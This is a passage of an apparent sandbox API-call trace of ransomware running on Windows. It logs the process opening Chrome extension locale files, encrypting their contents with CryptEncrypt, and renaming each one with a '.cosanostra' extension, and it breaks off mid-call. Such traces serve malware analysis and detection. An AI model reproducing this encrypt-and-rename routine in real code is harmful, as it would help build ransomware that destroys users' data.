halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.126] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json") returned 158 [0087.126] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.127] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffff21, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.127] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xdf, lpNumberOfBytesWritten=0x26ff8dc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff8dc*=0xdf, lpOverlapped=0x0) returned 1 [0087.127] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.127] WriteFile (in: hFile=0x194, lpBuffer=0x26ff91c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8dc, lpOverlapped=0x0 | out: lpBuffer=0x26ff91c*, lpNumberOfBytesWritten=0x26ff8dc*=0x4, lpOverlapped=0x0) returned 1 [0087.127] WriteFile (in: hFile=0x194, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8dc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8dc*=0x30, lpOverlapped=0x0) returned 1 [0087.127] CloseHandle (hObject=0x194) returned 1 [0087.127] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.cosanostra") returned 169 [0087.127] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json.cosanostra")) returned 1 [0087.129] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff918 | out: pbBuffer=0x26ff918) returned 1 [0087.129] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff910*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff910*=0x30) returned 1 [0087.129] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0087.130] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json") returned 158 [0087.130] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.149] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xffffff22, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.149] WriteFile (in: hFile=0x194, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xde, lpNumberOfBytesWritten=0x26ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff8d4*=0xde, lpOverlapped=0x0) returned 1 [0087.149] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.149] WriteFile (in: hFile=0x194, lpBuffer=0x26ff914*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x26ff914*, lpNumberOfBytesWritten=0x26ff8d4*=0x4, lpOverlapped=0x0) returned 1 [0087.150] WriteFile (in: hFile=0x194, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8d4*=0x30, lpOverlapped=0x0) returned 1 [0087.150] CloseHandle (hObject=0x194) returned 1 [0087.150] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json.cosanostra") returned 169 [0087.150] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json.cosanostra")) returned 1 [0087.154] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff910 | out: pbBuffer=0x26ff910) returned 1 [0087.154] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff908*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff908*=0x30) returned 1 [0087.154] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.185] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 155 [0087.185] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.185] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff03, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.185] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x26ff8cc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff8cc*=0xfd, lpOverlapped=0x0) returned 1 [0087.185] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.186] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff90c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8cc, lpOverlapped=0x0 | out: lpBuffer=0x26ff90c*, lpNumberOfBytesWritten=0x26ff8cc*=0x4, lpOverlapped=0x0) returned 1 [0087.186] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8cc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8cc*=0x30, lpOverlapped=0x0) returned 1 [0087.186] CloseHandle (hObject=0x18c) returned 1 [0087.186] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.cosanostra") returned 166 [0087.186] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.cosanostra")) returned 1 [0087.188] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff908 | out: pbBuffer=0x26ff908) returned 1 [0087.188] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff900*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff900*=0x30) returned 1 [0087.188] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.188] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json") returned 155 [0087.188] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.189] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffef4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.189] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x26ff8c4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff8c4*=0x10c, lpOverlapped=0x0) returned 1 [0087.189] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.190] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff904*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8c4, lpOverlapped=0x0 | out: lpBuffer=0x26ff904*, lpNumberOfBytesWritten=0x26ff8c4*=0x4, lpOverlapped=0x0) returned 1 [0087.190] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8c4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8c4*=0x30, lpOverlapped=0x0) returned 1 [0087.190] CloseHandle (hObject=0x18c) returned 1 [0087.190] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.cosanostra") returned 166 [0087.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\messages.json.cosanostra")) returned 1 [0087.192] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff900 | out: pbBuffer=0x26ff900) returned 1 [0087.192] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8f8*=0x30) returned 1 [0087.192] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.193] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json") returned 156 [0087.193] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.193] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.193] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ff8bc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff8bc*=0xea, lpOverlapped=0x0) returned 1 [0087.193] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.193] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff8fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8bc, lpOverlapped=0x0 | out: lpBuffer=0x26ff8fc*, lpNumberOfBytesWritten=0x26ff8bc*=0x4, lpOverlapped=0x0) returned 1 [0087.194] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8bc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8bc*=0x30, lpOverlapped=0x0) returned 1 [0087.194] CloseHandle (hObject=0x18c) returned 1 [0087.194] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.cosanostra") returned 167 [0087.194] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\messages.json.cosanostra")) returned 1 [0087.195] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8f8 | out: pbBuffer=0x26ff8f8) returned 1 [0087.195] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8f0*=0x30) returned 1 [0087.195] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.195] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json") returned 155 [0087.196] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.196] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.196] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x26ff8b4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff8b4*=0x100, lpOverlapped=0x0) returned 1 [0087.196] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.196] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff8f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8b4, lpOverlapped=0x0 | out: lpBuffer=0x26ff8f4*, lpNumberOfBytesWritten=0x26ff8b4*=0x4, lpOverlapped=0x0) returned 1 [0087.196] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8b4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8b4*=0x30, lpOverlapped=0x0) returned 1 [0087.197] CloseHandle (hObject=0x18c) returned 1 [0087.197] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.cosanostra") returned 166 [0087.197] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json.cosanostra")) returned 1 [0087.198] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8f0 | out: pbBuffer=0x26ff8f0) returned 1 [0087.198] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8e8*=0x30) returned 1 [0087.198] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.198] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json") returned 155 [0087.198] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.199] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffffef3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.199] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x26ff8ac, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ff8ac*=0x10d, lpOverlapped=0x0) returned 1 [0087.199] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.199] WriteFile (in: hFile=0x18c, lpBuffer=0x26ff8ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff8ac, lpOverlapped=0x0 | out: lpBuffer=0x26ff8ec*, lpNumberOfBytesWritten=0x26ff8ac*=0x4, lpOverlapped=0x0) returned 1 [0087.199] WriteFile (in: hFile=0x18c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff8ac, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff8ac*=0x30, lpOverlapped=0x0) returned 1 [0087.200] CloseHandle (hObject=0x18c) returned 1 [0087.200] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.cosanostra") returned 166 [0087.200] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json.cosanostra")) returned 1 [0087.201] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff8e8 | out: pbBuffer=0x26ff8e8) returned 1 [0087.201] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff8e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff8e0*=0x30) returned 1 [0087.201] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.202] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\messages.json") returned 155 [0087.202] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.202] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.202] WriteFile (in: hFile=0x18c, 